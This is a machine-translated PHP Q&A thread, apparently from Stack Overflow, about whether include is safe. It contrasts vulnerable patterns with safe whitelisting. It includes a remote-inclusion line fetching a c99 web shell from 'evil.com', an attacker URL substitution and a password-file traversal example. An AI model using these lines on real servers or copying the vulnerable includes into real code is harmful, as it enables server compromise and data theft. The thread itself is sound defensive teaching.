我使用“include”函数(e.x.“include'header2.php'”或“include'class.users.php'”) 在我的网站中添加标题或会话类。我真的不记得在哪里,但我听说黑客滥用,不知何故,这种“包括”的东西,发送假包含页面或类似的东西。 所以基本上我想知道那个“包含”功能是什么,我如何保护它,他们如何滥用它,以及是否有更好的解决方案来满足我的需求。PHP - “包含”功能是否安全?
在此先感谢。
我使用“include”函数(e.x.“include'header2.php'”或“include'class.users.php'”) 在我的网站中添加标题或会话类。我真的不记得在哪里,但我听说黑客滥用,不知何故,这种“包括”的东西,发送假包含页面或类似的东西。 所以基本上我想知道那个“包含”功能是什么,我如何保护它,他们如何滥用它,以及是否有更好的解决方案来满足我的需求。PHP - “包含”功能是否安全?
在此先感谢。
这一切都取决于你如何实现它。如果你专门设置路径,那么它是安全的。如果允许用户输入确定文件路径而不进行清理或检查,则可能发生攻击。
不安全(目录遍历)
<?php
include($_GET['file']);
?>
不安全(URL fopen - 如果启用)
<?php
include('http://evil.com/c99shell.php');
?>
不安全
<?php
include('./some_dir/' . $_GET['file']);
?>
部分不安全(* .php文件是脆弱的)
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
安全(虽然不知道为什么会有人这样做。)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
安全
<?php
include('./includes/somefile.php');
?>
是[this](http://stackoverflow.com/a/599694/2302051)是否安全? – MahdiY 2017-03-31 07:38:59
包括是安全的只要你不:
www.someoneelsesssite.com/something.php
www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
2和3技术上有需要提醒的是,如果你不允许.
或/
或Windows \
你可能罚款。但是,如果你不知道为什么,你不知道有多少风险。即使你认为数据库是只读的或其他安全的数据库,明智的做法是不要假设,除非你真的必须这样做,而这几乎是永远不会的。
正如pp19dd的回答指出的那样。使用.php扩展名命名包含也很重要。如果你设置了apache(或者你正在使用的任何web服务器)来将另一个文件类型解析为PHP,那也是安全的。但是,如果您不确定,请专门使用.php。
include($_GET["page"]);
,然后调用URL:
包括可以,如果你做这样的事情会被滥用
myscript.php?page=index.php
攻击者然后可以替代index.php
为hxxp://hackerz.ru/install_stuff.php
和你的服务器会很乐意运行它。
include
本身是完全安全的。只要确保始终验证/逃避您的输入。
要做的最好的事情是确保您尝试包含的页面首先存在。如果包含页面是从某种用户输入(例如URL变量)处理的,则会出现真正的安全漏洞。 ?include=page.php
只要你对这些都很谨慎,你应该没问题。
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
这不会保护你免受任何伤害。你的密码文件是一个文件,php.ini是一个文件,攻击者会发现所有的东西都是文件。 – DampeS8N 2012-04-13 21:20:35
@ DampeS8N:我并不是想暗示这是唯一要做的事情,只是它是这个过程中的一个步骤。我还包括了关于插入其他代码,“用户验证等”的评论。用户验证有助于确保没有访问“成员”敏感页面。其他代码可能是一个文件黑名单。我不知道当你的答案同样模糊时,你为什么低估了我的答案。 – mseancole 2012-04-13 21:31:12
不知道如何防范目录遍历攻击的人不应该在任何条件下动态地包含文件。你的回答表明你能做的'最好'的事情是确保文件存在。相关的安全信息不是模糊的,它不存在。我并没有低估你伤害你的能力,如果你添加了所需的信息,我将不会退缩。并删除我的答案downvote或留下你认为是模糊的评论。 – DampeS8N 2012-04-13 21:34:46
与包括最大的问题很可能是由PHP改变文件扩展名的东西,不通过网络服务器得到自动执行。例如library.inc或config.inc。用Web浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示。
比较config.php可能在其中有一个密码config.inc。在大多数情况下,拉起config.inc将显示数据库密码是什么。
有些程序员对库使用.inc扩展名。前提是它们不在Web服务器可访问的目录中。然而,安全偏执的程序员可能会将该文件转储到一个方便的Web目录中。
否则,请确保您不包含以某种方式查询字符串提交的文件。例如:include($_GET['menu_file'])
< - 这是非常错误的。
任何服务器端(假设你的服务器没有受到威胁)是安全的。这样做:
$var = $_GET['var']';
include $var . ".php";
是不安全的。
include "page.php";
是安全的。
注意:假设'page.php'是安全的。 ;) – 2012-04-13 21:15:26
当然,只要引用的文件是可信和安全的。 – Blake 2012-04-13 21:17:03
我正在使用这种方法OD。
<?php include (dirname(__FILE__).'/file.php');
我希望这对你有用,但为了更好的答案,你可以**解释**为什么这个作品 – jean 2015-07-02 18:14:35
如果某人有权访问您的PHP代码,则它们位于您的服务器中。保护已经受损的东西毫无意义。相反,请注意通过修复所有应用程序的SQL注入漏洞来关闭入口点。 – Blender 2012-04-13 21:10:41
关键是,我听说'包含'something.php''是不安全的或可破解的,以及SQL注入。这是真的吗? – user1327735 2012-04-13 21:12:20
如果使用不当,任何事情都可以利用。只要你包含静态的PHP文件,你真的没有什么可担心的。 – Blender 2012-04-13 22:41:31